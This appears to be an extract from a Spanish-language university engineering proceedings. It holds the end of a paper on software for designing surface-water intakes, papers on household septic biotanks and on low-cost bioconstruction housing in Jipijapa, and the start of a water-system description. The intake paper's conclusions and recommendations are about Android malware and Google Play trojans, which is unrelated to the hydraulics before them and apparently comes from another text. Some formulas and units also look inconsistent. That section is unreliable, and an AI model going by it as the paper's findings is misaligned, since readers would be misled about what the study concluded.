(s)	Separación entre barrote	m
(k)	Coeficiente de pérdidas para rejillas	
(Cv)	Coeficiente de velocidad	

FUENTE: Dante Murillo,2018

Desrripiador

Gráfico 2: Parámetros generales Desrripiador

FUENTE: Dante Murillo,2018

Tabla 11 Parámetros para diseño de desrripiador

Símbolo	Descripción	Unidad
(P2')	Altura del umbral del vertedero (aguas abajo), medido desde la base del canal de transición	m
(z')	Desnivel entre láminas libres (aguas arriba y aguas abajo del vertedero)	m

FUENTE: Dante Murillo,2018

Canal de transición

Gráfico 3: Parámetros generales Canal de Transición

FUENTE: Dante Murillo,2018

Tabla 12 Parámetros para diseño del canal de transición

<u>Símbolo</u>	Descripción	Unidad
(a)	Apertura de la compuerta, medido desde la base del desripiador	m
(Cv)	Coeficiente de velocidad	

FUENTE: Dante Murillo,2018

Compuerta de Lavado

Gráfico 4: Parámetros generales Compuerta de Lavado

FUENTE: Dante Murillo,2018

Tabla 13 Parámetros para diseño del Compuerta de lavado

<u>Símbolo</u>	Descripción	Unidad
(a)	Apertura de la compuerta, medido desde la base del desripiador	m
(Cv)	Coeficiente de velocidad	
(H)	Carga hidráulica	m
(hc)	Tirante contraído	m

FUENTE: Dante Murillo,2018

Azud

Gráfico 5: Parámetros generales Azud

FUENTE: Dante Murillo,2018

Tabla 14 Parámetros para diseño del perfil Azud

<u>Símbolo</u>	Descripción	Unidad
(NL)	Nivel del lecho del río	m.s.n.m
(Q)	Caudal del río	m ²
(B)	Ancho del río	m
(ha)	Tirante aguas abajo	m
(m)	Coeficiente de inmersión	°
(Cv)	Coeficiente de velocidad	
(T)	Altura de lamina	m
(NU)	Cota máxima del azud	m.s.n.m
(NM)	Cota máxima de lámina de agua	m.s.n.m
(hp)	Tirante del resalto hidráulico	m
(Lp)	Longitud de la poza disipadora	m

FUENTE: Dante Murillo,2018

En el modelo matemático para el diseño las rejillas se toman en consideración los criterios de Bazin, Villamonte, entre otros.

Las rejillas se consideran de poca inclinación si el ángulo que forman con la horizontal ($\emptyset$) es menor de 20° . En este caso la descarga sobre la rejilla depende de la carga efectiva sobre ella y si las barras son paralelas, la carga es prácticamente igual a la Energía específica (E), pues el flujo es vertical y el agua fluye sin producir choques bruscos contra los bordes. (Harper & Row Latinoamericana, México, 1981).

En el siguiente grafico se observa el modelo matemático de la captación de Aguas Superficiales.

Grafico 6: Esquema General del Modelo Matemático

Fuente: Dante Murillo,2018

El modelo matemático de captación de aguas superficiales consiste de las siguientes partes:

Modelo de Rejilla

$$b = \frac{Q}{k * Mo * S * Hr^{\frac{3}{2}}}$$

$$Ne_1 = \frac{b}{Se}$$

$$Nb_1 = Ne_1 - 1$$

$$Lr_1 = b + \left[\left(\frac{b}{S} - 1 \right) * t \right]$$

$$Vm = \frac{Q}{A}$$

$$\alpha = \cos^{-1} \left(\frac{Vr}{Vm} \right)$$

$$hf_r = Kb \left(\frac{t}{Se} \right)^{\frac{4}{3}} * \left(\frac{Vm_{ob}^2}{2 * g} \right) \sin \alpha_1$$

Modelo de Desrripiador

$$Y1 = \frac{\frac{0,385m^2}{S}}{0,95 \sqrt{2 * \frac{9,81m}{s^2(1,53m - Y1)}}}$$

$$h_{cr}^3 = \frac{Q^3}{g * b^2}$$

$$To = Zo' + P1 + Hr + \frac{V^2}{2 * g}$$

$$Fr_1^2 = \frac{Q^2}{g * b^2 * Y_1^3}$$

$$y2 = \frac{Y1}{2} * \left[\sqrt{1 + 8 * Fr_1^2} - 1 \right]$$

Modelo de Canal de transicion

$$b1 = \frac{Q}{\sqrt{2 * g} * Mo' * S' * Hr^{\frac{3}{2}}}$$

$$H = \left[\frac{n * Q_{ob} * 2^{\frac{2}{3}}}{J^{\frac{1}{2}} * (2\sqrt{m^2 + 1} - m)} \right]^{\frac{3}{8}}$$

$$b2 = 2 * H$$

$$Lt = \frac{b1 - b2}{2 * \tan(\theta)}$$

$$V_t = \frac{Q_{ob}}{Bv * Hr'}$$

$$R = \frac{h}{2}$$

$$hr = Z' + \frac{V_t^2}{2g}$$

Modelo de Compuerta

$$b = \frac{Q}{q * Cv * e * \sqrt{2 * g * (H + \frac{V^2}{2 * g} - ea)}}$$

$$Vc = \frac{Q}{A}$$

Modelo de Azud

$$Ho = \frac{Q}{m * B * \sqrt{2 * g}^{\frac{2}{3}}}$$

$$hc = \frac{Q}{B * Cv * \sqrt{2 * g * To}}$$

$$hcr = \left(\frac{Q^2}{g * B^2} \right)^{\frac{1}{3}}$$

$$Fr_1^2 = \frac{Q^2}{g * b^2 * h_c^3}$$

$$h2 = \frac{hc}{2} * \sqrt{1 + 8 * Fr_1^2} - 1$$

$$hp = ha + \Delta z + d$$

$$d = (ns * h2) - ha - \Delta z$$

$$\Delta z = \frac{Q^2}{2 * g * B^2} * \left(\frac{1}{(Cv * ha)^2} \right) - \frac{1}{hp^2}$$

Para la construcción de la aplicación informática se consideraron los parámetros hidráulicos para agua superficial mostradas en las tablas anteriores, también se aplicó el modelo matemático basado consideración los criterios de Bazin, Villamonte, entre otros.

En la siguiente imagen podemos observar que la aplicación cuenta con un menú en el cual encontramos los criterios que durante el estudio y desarrollo de la aplicación.

En cada opción debemos rellenar los datos de entrada excluyendo a los datos que se calculan automáticamente, es decir datos cuyos valores son calculados, con datos que se ingresan o con alguna fórmula prescrita, es importante respetar las condiciones establecidas en la parte inferior derecha de la imagen, para poder realizar los procesos satisfactoriamente.

Una vez presionado el botón aceptar, una pantalla con resultados aparecerá, a continuación, se muestran fragmentos de esa pantalla:

Criterio 1: Rejilla:

Gráfico 7: Ingreso de datos para entrada a la rejilla

Ingreso de entrada para la rejilla

Datos hidráulicos de la rejilla:

Q: m³/s

Hr: m

Z1: m

Hn: m

Vr: m/s

g: m/s²

Datos vertedero:

P1: m

P2: m

Datos barrotes:

t: m

Se: m

K:

Kb:

U: %

Condiciones:

$$P_1 + H_n > P_2$$

$$\frac{Z}{P_2} < 0,70$$

$$Hr < (P_1)$$

$$P_2 < (90\%P_1)$$

Resultados:

Variables	Valor	Unidades
Coefficiente de inmersión (S):	0.6645	
Coefficiente de sumersion (Mo):	1.9301	
Ancho libre de la rejilla de entrada (b):	2.63	m
Numero de espacio (Ne):	66	u
Numero de barrotes (Nb):	65	u
Ancho real de la rejilla de entrada (Lr):	3.27	m
Ancho real obstruido (b')::	2.89	m
Velocidad Media (Vm):	0.77	m/s
Angulo (α):	49.56	°
Angulo (β):	40.44	°
Perdida de carga en la rejilla (hr):	0.0081	m

Fuente: Aplicación desarrollada por el autor

Criterio 2: Derripiador

Gráfico 8: Ingreso de datos canal de transición

Ingreso de entrada para el canal de transición

Calculo hidráulico del desripiador:

Q: m³/s

Hr: m

P1: m

P2: m

Vm: m/s

Cv:

Datos obtenidos del desripiador:

Ho: m

T: m

A: m²

Zc: m

Vm2/2g: m/s

En la opcion derripiador no contiene como tal una pantalla de resultado, más bien se deben llenar los datos porque son valores necesarios para el funcionamiento de los siguientes calculos.

Fuente: Aplicación desarrollada por el autor

Criterio 3: Canal de transición:

Ingresamos los datos correspondientes al canal de transición, una vez que aceptamos se mostraran en pantalla los resultados como se muestra a continuación en las siguientes imágenes:

Gráfico 9: Ingreso de datos para canal de transición

Rejilla

Desripador

Canal de transición

Compuerta de lavado

Vertedero

Ingreso de entrada para el canal de transición

Datos hidráulicos del canal de transición:

Q: m³/s P2: m

Hr: m P3: m

Z2: m H: m

Hn: m

φ:

Datos del terreno:

n:

J:

m:

Aceptar

Coeficiente de inmersión (S): 0.7236

Coeficiente de sumersión (Mo): 1.9956

Base de la transición (b1): 2.99 m

Base de transición del canal (b2): 1.03 m

Area hidráulica (A): 0.53 m²

Perimetro hidráulico (P): 2.06 m

Radio Hidráulico (R): 0.26 m

Velocidad Continua (V): 1.91 m/s

Longitud total de la transición (Lt): 3.66 m

Pérdida de carga en la transición (hr): 0.14 m

Fuente: Aplicación desarrollada por el autor

Gráfico 10: Ingreso de datos para canal de transición

Fuente: Aplicación desarrollada por el autor

Criterio 4: Compuerta de lavado

Una vez se han ingresados los datos de entrada en la opción de compuerta de lavado, se obtendrán los resultados, como se muestra en la siguiente imagen:

Gráfico 11: Ingreso de datos de la compuerta de lavado

Rejilla

Desripador

Canal de transición

Compuerta de lavado

Vertedero

Rejilla

Desripador

Canal de transición

Compuerta de lavado

Vertedero

Ingreso de datos de la compuerta de lavado

Valores de ingreso

a: m

b: m

Calculados automáticamente

Ycr: m

A: m²

V: m/s

H: m

Cv:

e:

Ingreso de datos de la compuerta de lavado

Valores de ingreso

a: m

b: m

Calculados automáticamente

Ycr: m

A: m²

V: m/s

H: m

Cv:

e:

Fuente: Aplicación desarrollada por el autor

Criterio 5: Vertedero

Una vez se han colocado los datos en la opción de vertedero, mostrará los resultados, como se visualizan en las siguientes imágenes:

Gráfico 12: Ingreso de datos de la compuerta de lavado

Rejilla

Desripador

Canal de transición

Compuerta de lavado

Vertedero

Ingreso de datos del vertedero

Datos de presa vertedera:

Q: m³/s

B: m

ha: m

m:

Cv:

Datos de resalto hidráulico:

Cv:

Ns: m.s.n.m.

Datos de terreno:

NL: m.s.n.m.

Tirante Contraído (hc): m

Tirante de Resalto Hidráulico (hp): m

Tirante Aguas Abajo (ha): m

Profundidad de la poza disipadora (d): m

Longitud de la poza disipadora (Lp): m

Fuente: Aplicación desarrollada por el autor

Gráfico 13: Resultados obtenidos vertedero

X	Y verte	X	Y verte	NP (m.s.n.m)
0	0.126	0.00	0.09	18.70
0.1	0.036	0.07	0.03	18.76
0.2	0.007	0.14	0.00	18.79
0.3	0	0.21	0.00	18.79
0.4	0.007	0.28	0.00	18.79
0.6	0.06	0.43	0.04	18.75
0.8	0.147	0.57	0.10	18.69
1	0.256	0.71	0.18	18.61
1.2	0.393	0.85	0.28	18.51
1.4	0.565	0.99	0.40	18.39
1.7	0.873	1.21	0.62	18.17
2	1.235	1.42	0.88	17.91
2.5	1.96	1.78	1.39	17.40
3	2.824	2.13	2.01	16.78
3.5	3.818	2.49	2.71	16.08
4	4.93	2.84	3.50	15.29

Carga Hidráulica de Vvertedero (H):	0.71	m
Gradiente de Velocidad ($V^2/2e$):	0.05	m
Altura de Lámina de agua (T):	1.50	m
Cota Máxima de la Cresta del Azud (NU):	18.79	m
Cota Máxima de Lamina de Agua (NM):	19.50	m

Fuente: Aplicación desarrollada por el autor

CONCLUSIONES

- El aumento de software malicioso ha incrementado considerablemente en el 2018, a pesar de las vulnerabilidades que anualmente se solucionan.
- El software que más ataca a los dispositivos móviles es el troyano, que viene en aplicaciones que se encuentran en la tienda de Google Play.
- Es importante que el usuario conozca como cultura general de la descarga directa de aplicaciones de la tienda de Google Play.

RECOMENDACIONES

- Si detecta en su dispositivo móvil Android algún comportamiento inusual o extraño es necesario realizar una limpieza o utilizar un antivirus para detectar y solucionar el problema.
- En Android, una aplicación maliciosa no entra como tal, nosotros somos quienes le damos permiso, esto no lo hacemos de manera consciente, lo que intentan estas apps peligrosas es colarse sin que nos demos cuenta con el objetivo de obtener permisos para tener el control como administrador del dispositivo.

REFERENCIAS BIBLIOGRÁFICAS

- [7] Arocha A. – Abastecimiento de Aguas- Venezuela, 1987.
- [8] Asociación Brasileña de Normas Técnicas – Proyecto de Captación de superficie para abastecimiento Público. Brasil, 1990.
- [9] Centro Panamericano de Ingeniería Sanitaria – Serie, Filtración rápida - Manual I, Criterios de Selección. Lima, 1992
- [10] De Azevedo J.M & Acosta G., Manual de Hidráulica, Harper & Row Latinoamericana, México, 1981.
- [11] El Peruano - Ministerio de Transportes, Comunicaciones, Vivienda y Construcción republicación del Reglamento Nacional de Edificaciones, Rubro: Saneamiento V – Lima, 1998.
- [12] Especificaciones técnicas para el diseño de captaciones por gravedad de aguas superficiales (Junio de 2018). Obtenido de <http://www.bvsde.paho.org/tecapro/documentos/agua/e115-04disenocapta.pdf>
- [13] Ministerio de Salud de Bolivia Reglamento - Técnico de Diseño de Proyectos de Agua Potable para Poblaciones menores a 5000 habitantes - Bolivia 1990
- [14] Ministerio de Salud Perú – Dirección General de Salud Ambiental – Proyectos de abastecimiento de agua potable de la localidad de Yauyos – Lima, 1977.
- [15] Rivas Mijares G – Abastecimiento de agua y alcantarillado – Ediciones Vega Venezuela, 1983.

**APLICACIÓN DE SISTEMA DE BIOTANQUES PARA EL TRATAMIENTO DE AGUAS
RESIDUALES DOMICILIARIAS EN EL SITIO PIMPIGUASÍ, PARROQUIA CALDERON –
CANTÓN PORTOVIEJO**

Ing. Glider Nunilo Parrales Cantos Mg.

Ing. Cesar Arturo Serrano Delgado

Srta. Soledispa Cedeño Lady Esperanza

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: laddy_espe_13@hotmail.com

RESUMEN

El trabajo realizado tiene un principal propósito que es utilizar técnicas de instalación de Biotanque como tanques sépticos con cada uno de los elementos que la componen y que intervienen en este proceso sanitario de tratamiento. Por ello, y con el vivo propósito de contribuir con mejores prácticas en el campo de la construcción y lo primordial ser amigable con el medio ambiente se diseñó un sistema de tratamiento de aguas domiciliarias con los biodigestores o tanque séptico.

Este sistema sirve como alternativa para con el medio ambiente y en mejora de calidad de vida, utiliza el sistema séptico completo que tiene 4 etapas fundamentales:

1. Pre-tratamiento: el manejo del afluente y la trampa de grasas.
2. Tratamiento: tanque séptico.
3. Post-tratamiento: el filtro anaerobio de flujo ascendente.
4. Disposición del agua efluente: sirven para riego, campo de infiltración, pozo de absorción o a una corriente de agua.

SUMMARY

The work carried out has a main purpose that is to use Biotanque installation techniques as septic tanks with each one of the elements that compose it and that intervene in this sanitary process of treatment. For this reason, and with the vivid purpose of contributing with best practices in the field of construction and the paramountness of being friendly with the environment, a home water treatment system with biodigesters or septic tank was designed.

This system serves as an alternative to the environment and in improving quality of life, uses the complete septic system that has 4 fundamental stages:

1. Pre-treatment: the management of the tributary and the grease trap.
2. Treatment: septic tank.
3. Post-treatment: the upflow + anaerobic filter.
4. Disposition of effluent water: they serve for irrigation, infiltration field, absorption well or a water current.

INTRODUCCIÓN

El Biotanque es un recipiente en el cual se depositan temporalmente las aguas negras de una casa, puede diseñarse con uno, dos o más tanques conectados entre sí adecuadamente según las necesidades de cada caso, en este caso se diseñó un Biotanque para cada vivienda, el tamaño, su forma y la disposición de los tubos de entrada y salida están diseñados para que las aguas negras permanezcan en el tanque mínimo 24 horas con el fin que se descompongan la materia orgánica convirtiéndola en gases, líquidos y sólidos que se separan dentro del tanque séptico por procesos físicos, de sedimentación y flotación.

Este proyecto se enfoca al tratamiento de las aguas negras ya que existen aún sitios o zonas como Pimpiguasí que tiene el sistema tradicional y otros con sistemas no convencionales que afectan al medio ambiente. Se realizó una breve encuesta para obtener datos reales que definan la población, y sus maneras de vivencias.

OBJETIVO GENERAL

Diseñar el sistema de biotanques para el tratamiento de aguas residuales domiciliarias en el sitio Pimpiguasí, Parroquia Calderón – Cantón Portoviejo, para mejorar la calidad de vida de los habitantes del sector.

OBJETIVOS ESPECIFICOS

- Diagnosticar el sitio del proyecto de investigación
- Diseñar el sistema de Biotanques en el sitio Pimpiguasí.
- Analizar y evaluar los impactos ambientales más importantes reflejados con un Plan de Gestión para la instalación de Biotanques como pozos sépticos.

OBJETIVO 1

Diagnosticar el sitio del proyecto de investigación.

El sitio Pimpiguasi ubicado en la Parroquia Calderón perteneciente al Cantón Portoviejo de la Provincia de Manabí, tiene una extensión de 136 km² y se desarrolla a lo largo de su vía principal, en la que se destacan los 13 recintos o sitios: El centro de la parroquia, Pimpiguasi, La Ciénega, Florestal, Juan Dama, Hormiguero, Bijahual, Quebrada de Guillen, Maconta, Naranjal, Potrerillo, Miguelillo y el Jobo.

Existe un total de 1180 habitantes aproximadamente en el sitio Pimpiguasi de la Parroquia Calderón.

OBJETIVO 2

Diseñar el sistema de Biotanques en el sitio Pimpiguasí.

OBJETIVO 3

Analizar y evaluar los impactos ambientales más importantes reflejados con un Plan de Gestión para la instalación de Biotanques como pozos sépticos.

El plan de manejo para la gestión de las aguas residuales del sitio Pimpiguasi de la Parroquia Calderón del Cantón Portoviejo no se encuentra establecido por ninguna entidad pública o privada, ya que muy aparte del servicio de alcantarillado inexistente en la zona se presenta la falta de un recurso más vital y primordial que es el agua potable; es por esta razón que la necesidad de un sistema de tratamiento de las aguas residuales está en un segundo plano. Pero sin embargo este proyecto tiene como propósito determinar la importancia de la aplicación de un nuevo sistema para el tratamiento de las aguas residuales de la zona propuesta, que se encuentra al alcance de los habitantes del sector con respecto al recurso económico.

Una vez zonificado el sitio, se debe diagnosticar la situación de la forma cómo gestiona el Gobierno Municipal de la Ciudad de Portoviejo y la parroquia Rural Calderón el manejo de las aguas residuales domiciliarias, y a fin de optimizar los recursos necesarios y dispuestos para este fin, se propone el presente plan de manejo ambiental, que está compuesto por los siguientes programas:

- Programa de prevención y mitigación de impactos ambientales
- Plan de manejo de residuos/desechos.

MATERIALES Y METODO

- Libros
- Páginas de internet
- Revistas
- Folletos
- Catálogos
- Recopilación bibliográfica
- Archivos de instituciones

MÉTODOS:

- Descriptivo
- Técnicas; Observación y encuesta

RESULTADOS Y DISCUSIÓN

La implementación y ejecución de este tipo de proyecto, así con esta iniciativa comenzar a sensibilizar y concientizar a los habitantes en el tema del manejo de aguas residuales domiciliarias ya que siguen utilizando en el sitio Pimpiguasí el sistema tradicional de pozo séptico.

Impulsar proyectos de este tipo de programas y aplicación del sistema a diferentes sectores (domestico, comercial, institucional, empresarial).

Analizar y evaluar los impactos ambientales más importantes reflejados con las actividades durante la ejecución y cierre del proyecto.

CONCLUSIONES

Existe despreocupación por parte de las autoridades pertinentes para poder implementar por completo el sistema de alcantarillado en la mayoría de Parroquias Rurales y sus sitios o comunas.

En la actualidad con la iniciativa del proyecto en mención se ha percatado que no existe ningún tipo de manejo integral de las aguas residuales para mitigar los impactos ambientales por parte de las instituciones; lo que hace que la población al no tener una restricción o control, procede a los métodos de construcción tradicional o rústicos de los pozos sépticos o ciegos conocidos vulgarmente.

Todo proyecto con plan de manejo y sobre todo este proyecto da la exclusividad de mitigar el impacto ambiental.

RECOMENDACIONES

Se recomienda que exista la implementación y ejecución de este tipo de proyecto. Así con esta iniciativa comenzar a sensibilizar y concientizar a los habitantes en el tema del manejo de aguas residuales domiciliarias ya que siguen utilizando en el sitio Pimpiguasí el sistema tradicional de pozo séptico.

Impulsar proyectos de este tipo de programas y aplicación del sistema a diferentes sectores (domestico, comercial, institucional, empresarial).

Analizar y evaluar los impactos ambientales más importantes reflejados con las actividades durante la ejecución y cierre del proyecto.

REFERENCIAS BIBLIOGRÁFICAS

Metcalf, E. (1995). "Ingeniería de Aguas Residuales: tratamiento, vertido y reutilización". Vols. I y II. . 1era Ed. Editorial McGraw-Hill.

Plastigama-Disensa. (s.f.). Sistema para disposición de aguas residuales domesticas con las normas de calidad (ISO 9001), medio ambiente (ISO14001), de seguridad ambiental (OAHsas 18001) y de laboratorios ISO/IEC 17025).

DISEÑO PARA VIVIENDA DE INTERÉS SOCIAL CON MATERIALES BIOCONSTRUCTIVOS ALIVIANADOS Y SEGURO EN LA CIUDELA ELOY ALFARO DE LA CIUDAD DE JIPIJAPA

Ing. Glider Nunilo Parrales Cantos Mg.

Ing. Daniel David Carvajal Rivadeneira, Mg

Srta.karol Antonella Saltos Mantilla

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: anto-saltos@hotmail.com

RESUMEN

El presente artículo presenta el diseño y análisis de una vivienda de interés social en la zona periférica de la ciudad de jipijapa, con materiales bioconstructivos que aportan a mejorar las condiciones ambientales del territorio de acuerdo a la disposición final de los residuos sólidos, materiales alternativos y materiales de hormigón armado. Igualmente, esta propuesta de materiales bioconstructivos se establece para solucionar el problema de vivienda digna a las comunidades menos favorecidas y con pocos recursos económicos, aprovechando los avances sobre el particular que han tenido experiencias en América Latina y el mundo, donde se propende por una mejor calidad de vida de la población de bajo recursos de la zona periférica de la ciudad de jipijapa.

Palabras clave: Ecobloque, Bio-constructivo, Basura, Polímero.

SUMMARY

This article presents the design and analysis of a house of social interest in the peripheral zone of the city of jipijapa, with bioconstructive materials contribute to improve the environmental conditions of the territory according to the final disposal of solid waste, alternative materials and reinforced concrete materials. You will also need, this proposal of bioconstructive materials is established to solve the problem of decent housing to the less favored communities and with few economic resources, taking advantage of the advances on the particular that have had experiences in Latin America and the world, where it is prone to a better quality of life for the low-income population of the peripheral zone of the city of jipijapa.

Keywords: Eco-Block, Bio-Construction, Trash, Polymer

INTRODUCCIÓN

La calidad de vida o vivienda digna se genera como medida para buscar niveles aceptables de condiciones para la vida humana, de aquí, nace la necesidad que el gobierno nacional en anteriores períodos, haya impulsado el desarrollo económico con una mayor oferta de vivienda tanto en el espacio rural como en el urbano. Así, este plan estratégico del estado Ecuatoriano a través de MIDUVI hizo que atendiera la creciente demanda de vivienda y aprovechara dicho fenómeno en beneficio del desarrollo económico del país. Más aun en el sector de Manabí que sufrimos un terremoto la misma que produjo muchas muertes por el colapso de edificaciones y es aquí donde se pudo evaluar técnicamente que a las edificaciones en su diseño habrá que alivianar cargas con el propósito de hacerles más livianas ya que estas al desplomarse producto de un evento sísmico no cause tanto daño, la caracterización de suelo juega otro factor muy importante precisamente por la ubicación ya que estamos en zona de riesgo.

OBJETIVO GENERAL

Diseñar vivienda de interés social con materiales bioconstructivos, alivianados y seguro en la ciudadela Eloy Alfaro de la ciudad de Jipijapa.

OBJETIVOS ESPECIFICOS

- Determinar la caracterización del suelo en el sitio donde se realizara el proyecto de investigación
- Analizar los materiales bioconstructivos para la vivienda de uso social
- Determinar el diseño de la vivienda utilizando materiales alternativos
- Establecer el presupuesto de la vivienda del proyecto

OBJETIVO 1

Determinar la caracterización del suelo en el sitio donde se realizará el proyecto de investigación

En la ciudad de Jipijapa por su ubicación geográfica está ubicada en una zona de riesgo sísmico por lo tanto para desarrollar nuestro diseño fue necesario determinar el tipo de suelo y su capacidad portante para esta forma poder diseñar.

OBJETIVO 2

Analizar los materiales bioconstructivos para la vivienda de uso social

Con la finalidad de darle a la vivienda seguridad, alivianar cargas y la reutilización de materiales reciclados fue importante establecer una serie de ensayo para utilizar materiales alternativos a la vivienda tales como la utilización de gipsum, Caña guadua, ecobloque y hormigón armado la misma que van a complementar a los materiales comunes

OBJETIVO 3

Determinar el diseño de la vivienda utilizando materiales alternativos

Una vez que hemos analizado el tipo de suelo y materiales que vamos a emplear en el diseño de la vivienda lo haremos considerando la economía, el confort, la seguridad y el medio ambiente aplicando indudablemente las normas de la construcción.

OBJETIVO 4:

Establecer el presupuesto de la vivienda del proyecto

Con la utilización de estos materiales bioconstructivos el presupuesto de la vivienda de esta edificación esta alrededor de los 4500 dólares americanos teniendo un promedio de 56 dólares americanos por metro cuadrado.

MATERIALES Y METODO

- Suelo
- Botella de plastico
- Ecobloque
- Caña guadua
- Hormigón armado
- Gypsum

MÉTODOS:

- Método experimental
- Método experimental El origen de la propuesta se fundamenta en la técnica empírico-analítica, con un proceso de tipo de verificación empírica, con la utilización de herramientas del método científico, donde se determinan percepciones cualitativas y cuantitativas basadas en pruebas experimentales de laboratorio [3].

RESULTADOS Y DISCUSIÓN

Primera fase propuesta de investigación, para dar origen al diseño de la vivienda auto sostenible se opta por determinar la caracterización del suelo que es tipo D [6], factor importante para el cálculo del diseño

Segunda fase de la propuesta de investigación, con los ensayos realizados podemos determinar que los materiales escogidos para la construcción de la vivienda como plásticos, hormigón armado, madera, gipsum [7], si cumplen con los parámetros establecido en la norma de la construcción.

Tercera fase de la investigación de igual manera se implementa el diseño de construcción con materiales bioconstructivos seguros que ayudan a dar consistencia y resistencia a los muros no estructurales de la vivienda apegados a las normas de la construcción

Cuarta fase de la investigación determina el presupuesto de la vivienda que está en un 50% de las viviendas comunes de hormigón armado con el mismo diseño y área.

CONCLUSIONES

Se realizó la identificación de las características físicas y mecánicas del suelo en la ciudadela Eloy Alfaro de la ciudad de Jipijapa - Provincia de Manabí para definir su utilización en

edificaciones de categoría baja o interés social, mediante la clasificación de suelos (SUCS) y la capacidad portante del suelo [8].

Este estudio ha permitido conocer factores alternativos y soluciones más adecuadas a los problemas que se suscitan en el diseño y construcción de viviendas, el cual demanda recursos para la vida útil, y es fundamental las alternativas de materiales para disminuir la carga utilizando pares con botellas plásticas, la dependencia tradicional, para que la vivienda tenga sostenibilidad. En el caso de la Caña Guadua – Bambú es muy resistente en cuanto a columnas y mampostería en tratamiento prefabricado [9]. Los perfiles de hierro son sismo resistente que se adaptan a cualquier diseño, fáciles de manipular. Y en cuanto al hormigón en cimientos es una estructura común y segura de conocimiento de todos.

En el diseño de la vivienda presentada se consideran normas técnicas para el proceso constructivo identificando el área de estudio (las zonas de riesgos y zonas seguras) [10], el diseño propuesto de vivienda es confortable y seguro de acuerdo al estudio de suelo que se realizado en el sitio.

De acuerdo con la utilización de materiales, este tipo de diseño resulta económico por metro cuadrado de construcción, es decir de bajo costo [11] que estaría al alcance de las familias con menos ingreso económico que otras viviendas diseñadas con material seguro y con menos área de construcción.

RECOMENDACIONES

Se recomienda que para las construcciones de las viviendas de la ciudad de Jipijapa necesariamente tenemos q realizar ensayos de tipos de suelo para esta manera evitar colapso de la vivienda ya q estamos en una zona de riesgo sísmico.

La reutilización de materiales reciclados, caña guadua, gipsum, hormigón simple, hormigón armado han hecho posible que se abaraten los costos y se le dé la seguridad de la edificación por lo q este proyecto sería viable para q las instituciones públicas como el municipio, consejo provincial, MIDUVI los tome en cuenta para que de esta manera darles vivienda a las personas de escasos recursos.

El diseño con materiales bio - constructivos hacen posible darles confort, seguridad y abaratar costos con la finalidad que sean fácil de poderlas construir y de esta forma cubrir la necesidad habitacional sin descuidar las normas de la construcción y el cuidado del medio ambiente.

La construcción en la actualidad es cada día más inalcanzable obtenerlas para las personas de escasos recursos por lo que se recomienda la utilización de materiales bio – constructivos que abaratan los costos y es aquí que las instituciones públicas y privadas deberían incursionar en la aplicación de estos materiales y de esta forma darles una mejor calidad de vida a los habitantes de esta zona marginada.

REFERENCIAS BIBLIOGRÁFICAS

- [1] S. Kalmanovitz y E. López. (2010). Aspectos de la agricultura colombiana en el siglo XX [En línea]. Disponible en: <http://avalon.utadeo.edu.co/comunidades/grupos/salomonk/ensayos/Aspectos%20de%20la%20agricultura%20colombiana%20en%20el%20siglo%20XX.pdf>
- [2] D. Von Riegen. (2011). Materiales bioconstructivos. Ediciones especiales bioconstrucción [En línea]. Disponible en: <http://tematicas.cl/ee/wp-content/uploads/2012/05/bioconstruccion2011.pdf>
- [3] NAPCOR (2013) Características, beneficios y otras fuentes de información del PET. [En línea]. Disponible: http://www.napcor.com/pdf/NAPCOR_PETBasics_spanish.pdf
- [4] <https://inen-ecuador.blogspot.com/>
- [5] <https://www.habitatyvivienda.gob.ec/documentos-normativos-nec-norma-ecuatoriana-de-la-construccion/>
- [6] <https://www.habitatyvivienda.gob.ec/wp-content/uploads/downloads/2015/02/NEC-SE-CG-Cargas-S%C3%ADsmicas.pdf>
- [7] IMCyC. (2011, Jun). Pruebas de resistencia a la compresión del Concreto. Problemas, causas y soluciones. [En línea]. Disponible en: <http://www.imcyc.com/ct2011/junio06/PROBLEMAS.pdf>
- [8] <https://www.habitatyvivienda.gob.ec/wp-content/uploads/downloads/2015/02/NEC-SE-GC-Geot%C3%A9cnica-y-Cimentaciones.pdf>
- [9] N. J. Orellana Ríos, y M. A. Serrano López, "Reutilización de polímetros como alternativa socio ambiental y económica en la elaboración de eco bloques", Bachelor's thesis, Cuenca: Universidad de Cuenca, 2015.
- [10] C. D. Ballesteros Giraldo, Ecobloques para aplicaciones no estructurales en el sector de la construcción, Tesis de grado. Maestría ingeniería civil, Universidad Javeriana, ing civil, 2016.
- [11] C. V. Rodas León, y J. F. Ordóñez Villagómez, Desarrollo tecnológico, investigativo y experimental de ecobloques de hormigón en base a vidrio y polietileno de tereftalato (PET) reciclado, como alternativa sustentable al bloque tradicional, Bachelor's thesis, Universidad del Azuay, Tesis de grado Ingeniería civil, Esc Ing, Civil y Construc., Universidad Azuay, Cuenca, Ecuador, 2016.

DESCRIPCIÓN DEL SISTEMA DE AGUA CAZALAGARTO – SAN MANUEL QUE BENEFICIA A LA CIUDAD DE JIPIJAPA

Mg.Sc. Ing. Eduardo Parrales Parrales

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: eduardo.parrales@unesum.edu.ec

RESUMEN

En la actualidad los sistemas de agua potable son una necesidad primordial para el desarrollo de cualquier población, estos consisten en un conjunto de obras necesarias para captar, conducir, tratar, almacenar y distribuir agua hasta llegar a los domicilios de los habitantes que son favorecidos con dichos sistemas. Las fuentes son naturales ya sean estas superficiales o subterráneas

Para garantizar el correcto funcionamiento de un sistema de agua potable, el diseño debe cumplir con normas, parámetros y regulaciones vigentes en el país, esto conllevará al mejoramiento de calidad de vida, salud y progreso de una población.

La presente investigación es describir en que consiste el sistema de agua Cazalagarto – San Manuel que abastece a la ciudad de Jipijapa.

SUMMARY

Currently drinking water systems are a fundamental need for the development of any population, these consist of a set of works necessary to capture, drive, treat, store and distribute water to reach the homes of the people who are favored with such systems. The sources are natural, whether they are superficial or underground

To ensure the proper functioning of a drinking water system, the design must comply with standards, parameters and regulations in force in the country, this will lead to the improvement of quality of life, health and progress of a population.

The present investigation is to describe what is the Cazalagarto - San Manuel water system that supplies the city of Jipijapa.

INTRODUCCIÓN

El derecho humano al agua y al saneamiento comprende las dimensiones de disponibilidad, accesibilidad, aceptabilidad, asequibilidad y calidad. No obstante, a fin de verificar su aplicación y garantía es necesario servirnos de los principios generales de los derechos humanos a los que se encuentran asociados, tales como: la no discriminación e igualdad; el acceso a la información y la transparencia; la participación; la rendición de cuentas; y, la sostenibilidad.

